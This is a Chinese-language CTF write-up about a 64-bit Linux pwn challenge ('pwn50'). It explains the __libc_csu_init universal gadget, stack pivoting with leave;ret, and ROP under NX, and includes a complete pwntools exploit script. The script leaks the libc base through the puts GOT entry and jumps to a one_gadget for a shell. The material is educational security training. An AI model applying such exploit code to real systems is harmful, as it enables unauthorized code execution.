linux 64位万能gadget & 栈迁移 & rop
用一个例题(下面有题目链接)为例子,下面是它的关键函数:
最后一个read函数存在溢出,但是由于溢出的长度有限因而不能够实现利用,同时第一个read函数可以向bss段读入超长数据,自然想到了栈迁移,但是我们看下保护。
[*] '/home/root0/pratice/pwn/pwn50'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
NX开了,而且bss段没有可执行权限,那么我们不能向bss段读入shellcode,那么我们就可以利用rop技术,但是程序不大,所以用ROGgadget不能够找到合适的gadget段,但是,对于64位linux程序,只要调用了libc.so,那么就会有通用的gadget。
万能gadget :__libc_csu_init()
从0x40068A这里开始,rbx,rbp,r12,13,r14,r15,都会布置好,最后的哪个 。。。下面引用先知上一个大佬的文章,写的很详细。
栈迁移
其实简单的说就是控制执行两次leave_ret ,栈里面把ebp/rbp的值改成目的址-8,就可以了,同时,可能比较疑惑的一点是bss段没有可执行权限,如果有权限的话就可以直接读入shellcode来实现getshell,由于没有权限的原因,我们只能采用rop的方式来进行控制,因为rop和bss段是否有执行权限无关。
这个题目的脚本可以用来了解一下,同时下面有个参考链接。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context(arch="amd64",os="linux",log_level="debug")
r = process('./pwn50')
pop_rdi_ret = 0x0000000000400693
leave_ret = 0x00000000040060F
bss_addr = 0x000000000601060 + 0x400
puts_ret_addr = 0x601378
elf = ELF("./pwn50")
puts_got = elf.got['puts']
puts_plt = elf.symbols['puts']
puts_plt = 0x0000000004004C0
main_addr = 0x00000000040061D
rop = [
pop_rdi_ret,
puts_got,
puts_plt,
main_addr,
]
r.recvuntil('bss:\n')
r.sendline("\x00"*100 + "a"*(792 - 100) +p64(main_addr) +'a' * 232 + flat(rop))
r.recvuntil("stack:\n")
offset = 10
payload = offset * 'a' + p64(bss_addr) + p64(leave_ret)
#gdb.attach(r)
r.sendline(payload)
puts_addr = u64(r.recvuntil("\x7f")+"\x00\x00")
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
system_addr = libcbase + libc.dump("system")
one_gad_get = 0x4526a + libcbase
r.recvuntil("bss:\n")
print "libcbase =====> " + hex(libcbase)
print "system_addr =====> " + hex(system_addr)
r.sendline("b" * 8)
r.recvuntil("stack:\n")
payload = offset * 'a' + p64(bss_addr-0x400) + p64(one_gad_get)
r.sendline(payload)
r.interactive()
https://xz.aliyun.com/t/5597 万能gadget
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop-zh/ 栈迁移